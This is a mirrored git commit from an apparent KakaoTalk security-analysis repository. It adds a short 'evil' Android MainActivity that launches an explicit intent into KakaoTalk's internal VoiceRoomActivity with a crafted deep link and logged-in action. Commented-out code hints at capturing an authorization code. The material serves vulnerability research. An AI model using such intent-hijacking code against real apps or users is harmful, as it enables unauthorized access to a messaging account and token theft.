mirror of
https://github.com/stulle123/kakaotalk_analysis.git
synced 2024-11-26 07:22:12 +00:00
Add evil MainActivity
This commit is contained in:
parent
c50e2eb113
commit
3a54c46b47
31
scripts/misc/MainActivity.java
Normal file
31
scripts/misc/MainActivity.java
Normal file
|
@ -0,0 +1,31 @@
|
||||||
|
package com.example.evilkakao;
|
||||||
|
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.net.Uri;
|
||||||
|
import android.os.Bundle;
|
||||||
|
|
||||||
|
import androidx.appcompat.app.AppCompatActivity;
|
||||||
|
|
||||||
|
public class MainActivity extends AppCompatActivity {
|
||||||
|
@Override
|
||||||
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
|
super.onCreate(savedInstanceState);
|
||||||
|
|
||||||
|
Intent intent = new Intent();
|
||||||
|
intent.setClassName("com.kakao.talk", "com.kakao.talk.vox.vox30.ui.voiceroom.VoiceRoomActivity");
|
||||||
|
intent.setData(Uri.parse("kakaotalk://style/foo"));
|
||||||
|
intent.setAction("com.kakao.talk.intent.action.CAPRI_LOGGED_IN_ACTIVITY");
|
||||||
|
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
||||||
|
intent.putExtra("BillingReferer", "talk_global_search");
|
||||||
|
startActivity(intent);
|
||||||
|
// startActivityForResult(intent, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
|
||||||
|
super.onActivityResult(requestCode, resultCode, data);
|
||||||
|
// String s = data.getStringExtra("authorization_code");
|
||||||
|
Log.d("foo", String.valueOf(resultCode));
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user